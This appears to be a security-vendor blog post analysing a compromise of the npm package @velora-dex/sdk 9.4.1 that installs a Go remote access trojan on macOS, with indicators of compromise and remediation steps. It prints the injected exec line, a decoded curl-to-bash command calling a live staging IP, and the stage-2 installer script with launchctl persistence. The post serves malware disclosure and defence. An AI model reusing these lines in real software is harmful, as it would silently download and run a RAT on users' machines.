Malicious @velora-dex/sdk Delivers Go RAT via npm
Table of Contents
TL;DR
Version 9.4.1 of @velora-dex/sdk, a legitimate DeFi SDK published by the Velora DEX project, was compromised on April 7, 2026 (UTC). Three lines of code injected into dist/index.js decode and execute a base64 payload that fetches a shell script from a C2 server, which downloads and persists a Go-based remote access trojan called minirat on macOS systems.
Impact:
- Executes arbitrary shell commands on any machine that imports the package
- Downloads a compiled Go binary (RAT) from
89.36.224.5 - Establishes persistence via macOS
launchctlunder a misleadingcom.apple.Terminalservice name - RAT capabilities include: command execution, file upload/download, directory exfiltration, and agent registration with C2
- Targets both Apple Silicon (arm64) and Intel (x86_64) macOS architectures
Indicators of Compromise (IoC):
| Indicator | Value |
|---|---|
| Package | @velora-dex/[email protected] |
| Staging Server | 89.36.224.5 (AS9009, M247 Europe SRL, Bucharest, RO) |
| Stage-2 URL | hxxp://89[.]36[.]224[.]5/troubleshoot/mac/install.sh |
| RAT URL (arm64) | hxxp://89[.]36[.]224[.]5/mac/arm/driver/profiler |
| RAT URL (x86_64) | hxxp://89[.]36[.]224[.]5/mac/intel/driver/profiler |
| RAT C2 Domain #1 | hxxps://datahub[.]ink (208.115.220.17, Limestone Networks, Portland, US) |
| RAT C2 Domain #2 | hxxps://cloud-sync[.]online (NXDOMAIN) |
| RAT C2 Domain #3 | hxxps://byte-io[.]us (NXDOMAIN) |
| RAT Binary (arm64) | SHA256: 0a8ab3d16b12d3a453ee5a3208fe04744ad54514ef8ea27bb8fe32679efad270 |
| RAT Binary (x86_64) | SHA256: 0b028b781950641818800fee2b4bf68e4ef2bcee53fe71a21755275ba108783d |
| RAT Module Path | alibaba.xyz/minirat |
| Persistence Label | zsh.profiler / com.apple.Terminal.profiler |
| Persistence Path | $HOME/Library/Application Support/com.apple.Terminal/profiler |
| Git Revision | dfd224461edb06c556ee0d5677bd78ddda80b910 |
Analysis
Package Overview
@velora-dex/sdk is the official SDK for Velora DEX, a decentralized exchange. The package has been actively developed since May 2025, with 34 published versions across the 8.x and 9.x release lines, maintained by five npm accounts. It averages approximately 2,000 weekly downloads.
Version 9.4.1 was published on April 7, 2026 at 19:03 UTC. Version 9.4.2, which reverts the malicious change, was published roughly three hours later at 22:25 UTC. The dev pre-release versions (9.4.1-dev.1, 9.4.1-dev.2) are clean. This narrow window and quick remediation pattern is consistent with a compromised maintainer credential rather than a purpose-built attack account.
The Injection: Three Lines in dist/index.js
Diffing 9.4.0 (clean) against 9.4.1 (compromised) reveals the entire attack surface: only dist/index.js and the version field in package.json changed. The injected payload is three lines prepended after the 'use strict' directive:
// dist/index.js diff: 9.4.0 vs 9.4.1 'use strict'
const {exec} = require('child_process'); exec(`echo 'bm9odXAgYmFzaCAtYyAiJChjdXJsIC1mc1NMIGh0dHA6Ly84OS4zNi4yMjQuNS90cm91Ymxlc2hvb3QvbWFjL2luc3RhbGwuc2gpIiA+IC9kZXYvbnVsbCAyPiYx' | (base64 --decode 2>/dev/null || base64 -D) | bash`, function(error, stdout, stderr) {});
if (process.env.NODE_ENV === 'production') { module.exports = require('./sdk.cjs.production.min.js') } else { module.exports = require('./sdk.cjs.development.js') }No install hooks, no modified package.json scripts. The payload executes as a side effect of require() on the package entry point (dist/index.js is the main field in package.json). Any application or build tool that imports the SDK triggers execution.
Execution Trigger: Base64 Decode Chain
The base64 string decodes to:
nohup bash -c "$(curl -fsSL http://89.36.224.5/troubleshoot/mac/install.sh)" > /dev/null 2>&1The nohup ensures the payload survives if the parent Node.js process exits. The (base64 --decode 2>/dev/null || base64 -D) pattern handles both Linux (base64 --decode) and macOS (base64 -D) base64 implementations. Output is silenced with > /dev/null 2>&1.
Stage-2: The Installer Script
The C2 at 89.36.224.5 serves the following shell script at /troubleshoot/mac/install.sh:
# http://89.36.224.5/troubleshoot/mac/install.shTERMINAL_DIR="$HOME/Library/Application Support/com.apple.Terminal"PROFILER_PATH="$TERMINAL_DIR/profiler"mkdir -p "$TERMINAL_DIR"
if [[ "$(uname)" == "Darwin" ]]; then if [[ "$(uname -m)" == "arm64" ]]; then curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/arm/driver/profiler else curl -fso "$PROFILER_PATH" http://89.36.224.5/mac/intel/driver/profiler fifi
chmod +x "$PROFILER_PATH"launchctl submit -l zsh.profiler -- "$PROFILER_PATH"The script is macOS-only (the Darwin check, launchctl, and ~/Library/Application Support path). It:
- Creates a directory at
~/Library/Application Support/com.apple.Terminal/to mimic a legitimate macOS Terminal support directory - Downloads an architecture-appropriate Mach-O binary, choosing between arm64 (Apple Silicon) and x86_64 (Intel)
- Registers it as a persistent
launchctljob labeledzsh.profiler, a name designed to blend in with legitimate shell profiling services
Stage-3: minirat, a Go-based Remote Access Trojan
The downloaded binary is a compiled Go program. Build metadata extracted from the binary:
path: alibaba.xyz/miniratgo: go1.25.8build: CGO_ENABLED=0, GOOS=darwinvcs: git revision dfd224461edb06c556ee0d5677bd78ddda80b910vcs.time: 2026-03-20T09:13:30ZThe module path alibaba.xyz/minirat has no relation to Alibaba the company. The domain alibaba.xyz appears to be attacker-controlled infrastructure used solely for the Go module path.
Function symbols extracted from the binary reveal a fully featured RAT with the following internal package structure:
| Package | Key Functions | Purpose |
|---|---|---|
internal/actions | RegisterAgent, Persist | Agent registration with C2, persistence setup |
internal/crypto | Encrypt, Decrypt, EncryptStandard, pkcs7Pad | AES-encrypted C2 communications |
internal/dataclient | UploadFile, DownloadFile, CheckStatus, UploadFileSessionStart/Append/Finish | Chunked file exfiltration and download |
internal/netcomm | LoadServers, CheckAgentExists, ZipAndUploadDirectory, ReadJsonFile, WriteJsonFile | C2 server management, directory harvesting |
internal/utility | ExecuteCommand, GetAgentInfo, GetUUID, IsVirtualMachine, DuplicateInstanceRunning, ZipDirectory | Host recon, command exec, anti-analysis |
internal/logger | WriteLog | Operational logging to updater.log |
RAT Capabilities in Detail
Agent registration and fingerprinting. On first execution, the RAT calls GetAgentInfo which collects the machine’s UUID (via ioreg on macOS), hostname (via scutil --get ComputerName), architecture (uname -m), and public IP (via hxxps://api[.]ipify[.]org and hxxps://ipinfo[.]io/json). This is sent to the C2 to register the agent.
Virtual machine detection. IsVirtualMachine checks for virtualized environments, likely to evade sandbox analysis. DuplicateInstanceRunning prevents multiple RAT instances from running concurrently.
Encrypted C2 communication. The binary contains AES encryption functions (Encrypt, Decrypt, pkcs7Pad, pkcs7Unpad) and three encrypted configuration payloads embedded as base64-encoded JSON:
{"ciphertext":"60UgcysZGeR2NLTLmjELHohpWFL5c4ocIPohIp1RnxQ=","iv":"XP4FHa8LhHaYZOG6qGk9OA=="}{"ciphertext":"HBXo2GkdY4jP2iwnfgsB5hm6LdTAS/tZ8Hnv4VE4cPU=","iv":"+MRUSeuIjaK4wT5vv3UI3g=="}{"ciphertext":"/Q9zn8haK189ioJre6/1vd7kHLIadab2DTx0SlszmAg=","iv":"HvXv/i0/1/lKYfS2NqFVNA=="}A brute-force scan of the binary found the AES-256 key at offset 0x264111: the ASCII string v59l2uwlow9s1ebuscgfg9k9r4voxkbs (32 bytes). Decrypting all three payloads reveals the RAT’s actual C2 endpoints:
| Encrypted Payload | Decrypted C2 URL |
|---|---|
| #1 | hxxps://datahub[.]ink |
| #2 | hxxps://cloud-sync[.]online |
| #3 | hxxps://byte-io[.]us |
These are distinct from the staging server at 89.36.224.5, which only handles initial payload delivery. The RAT communicates with these three HTTPS domains post-installation, using LoadServers to cycle through them as fallbacks. At the time of analysis, only datahub[.]ink resolves (to 208.115.220.17, Limestone Networks, Portland, US). Its TLS certificate was issued by Let’s Encrypt on April 7, 2026, the same day the compromised package was published. The other two domains are currently unregistered (NXDOMAIN), possibly held in reserve.
File exfiltration. ZipAndUploadDirectory compresses entire directories and uploads them to the C2. The chunked upload functions (UploadFileSessionStart, UploadFileSessionAppend, UploadFileSessionFinish) handle large file transfers. Strings referencing successfully uploaded to %s and downloading %s confirm bidirectional file transfer.
Command execution. ExecuteCommand provides arbitrary shell command execution on the compromised host.
Persistence. Beyond the initial launchctl submit, the Persist function in the actions package sets up additional persistence. The binary contains format strings for both launchctl submit -l %s.daemon -- "%s" and a macOS plist template referencing com.apple.Terminal.profiler, suggesting it creates a proper LaunchAgent plist for more reliable persistence across reboots.
Disguise Techniques
The attack uses several layers of disguise:
- Minimal code change. Only three lines added to one file. No new files, no modified dependencies, no install hooks. Easy to miss in a version diff
- Legitimate-looking paths.
com.apple.Terminalmimics a real macOS system directory.profilerandzsh.profilersound like legitimate developer tools - Silent execution. All output redirected to
/dev/null. Thenohupdetaches from the Node.js process - macOS-only targeting. The shell script checks for Darwin, suggesting this campaign specifically targets macOS developers working with DeFi/Web3 tooling
Remediation
If you installed @velora-dex/[email protected]:
- Check for and remove the RAT binary:
rm -f "$HOME/Library/Application Support/com.apple.Terminal/profiler" - Remove the launchctl job:
launchctl remove zsh.profiler - Check for LaunchAgent plists:
ls ~/Library/LaunchAgents/ | grep -i 'terminal\|profiler\|zsh' - Update to version
9.4.2or later - Rotate any credentials or tokens present on the compromised machine
Conclusion
This is a textbook compromised-maintainer supply chain attack: minimal code change, no modified scripts or hooks, execution on require(), and a multi-stage payload that ultimately delivers a persistent RAT. The three-hour window between compromise and fix, combined with macOS-only targeting and DeFi ecosystem focus, points to a targeted campaign against cryptocurrency developers.
- vet
- malware
- npm
- supply-chain
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering

@fairwords npm Packages Hit by Credential Worm
Three @fairwords npm packages were compromised with a self-propagating worm that harvests credentials, crypto wallets, Chrome passwords, and spreads to other packages using stolen npm tokens.

prt-scan: A 5-Phase GitHub Actions Credential Theft Campaign
A throwaway GitHub account submitted 219+ malicious pull requests in a single day, each carrying a 352-line payload that steals CI secrets, injects workflows, bypasses label gates, and scans /proc...

Malicious hermes-px on PyPI Steals AI Conversations
hermes-px on PyPI steals AI conversations via triple-encrypted exfiltration to Supabase, routing through a hijacked university endpoint while injecting a stolen 245KB system prompt.

Thirty-Six Malicious npm Strapi Packages Deploy Redis RCE, Database Theft, and Persistent C2
A coordinated campaign of thirty-six malicious npm packages published by four sock-puppet accounts (umarbek1233, kekylf12, tikeqemif26, and umar_bektembiev1) targets Strapi CMS deployments with eight...

Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.
